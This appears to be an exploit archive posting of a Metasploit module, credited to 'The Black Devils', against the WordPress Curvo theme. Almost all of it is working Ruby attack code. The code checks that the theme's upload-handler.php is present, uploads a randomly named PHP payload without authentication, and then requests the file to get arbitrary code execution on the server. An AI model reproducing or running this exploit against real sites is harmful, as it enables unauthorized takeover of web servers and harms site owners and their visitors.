WordPress Curvo Theme Shell Upload

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# \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ #  
# \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ #  
# \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ #  
# \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ #  
# \ \____/ >> Exploit database separated by exploit #  
# \/___/ type (local, remote, DoS, etc.) #  
# #  
# [+] Site : 1337day.com #  
# [+] Support e-mail : submit[at]1337day.com #  
# #  
# ######################################### #  
# I'm The Black Devils member from Inj3ct0r Team #  
# ######################################### #  
#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-#  
##  
# This Exploit must be use in Metasploit Framework  
# http://metasploit.com/framework/  
# This module created by The Black Devils 1337day team  
##  
  
  
require 'msf/core'  
require 'msf/core/exploit/php_exe'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::PhpEXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WordPress Curvo Themes - Arbitrary code execution',  
'Description' => %q{  
This module exploits a vulnerability found in Wp Theme curvo By abusing the upload-handler.php file,  
a malicious user can upload a file to a  
temp directory without authentication, which results in arbitrary code execution.  
},  
'Author' =>  
[  
'Byakuya Kouta', # initial discovery  
'The Black Devils', # Metasploit Module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ '1337day', '21458' ],  
[ 'EDB', '29211'],  
],  
'Payload' =>  
{  
'BadChars' => "\x00",  
},  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],  
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Mar 26 2012'))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The full URI path to wordpress', '/wp'])  
], self.class)  
end  
  
def check  
uri = target_uri.path  
uri << '/' if uri[-1,1] != '/'  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => "#{uri}wp-content/themes/curvo/functions/upload-handler.php"  
})  
  
if not res or res.code != 200  
return Exploit::CheckCode::Unknown  
end  
  
return Exploit::CheckCode::Appears  
end  
  
def exploit  
uri = target_uri.path  
uri << '/' if uri[-1,1] != '/'  
  
peer = "#{rhost}:#{rport}"  
  
@payload_name = "#{rand_text_alpha(5)}.php"  
php_payload = get_write_exec_payload(:unlink_self=>true)  
  
data = Rex::MIME::Message.new  
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")  
data.add_part("#{uri}public/js/uploadify", nil, nil, "form-data; name=\"folder\"")  
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')  
  
print_status("#{peer} - Uploading payload #{@payload_name}")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "#{uri}wp-content/themes/curvo/functions/upload-handler.php",  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => post_data  
})  
  
if not res or res.code != 200 or res.body !~ /#{@payload_name}/  
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")  
end  
  
upload_uri = res.body  
  
print_status("#{peer} - Executing payload #{@payload_name}")  
res = send_request_raw({  
'uri' => upload_uri,  
'method' => 'GET'  
})  
end  
end  
`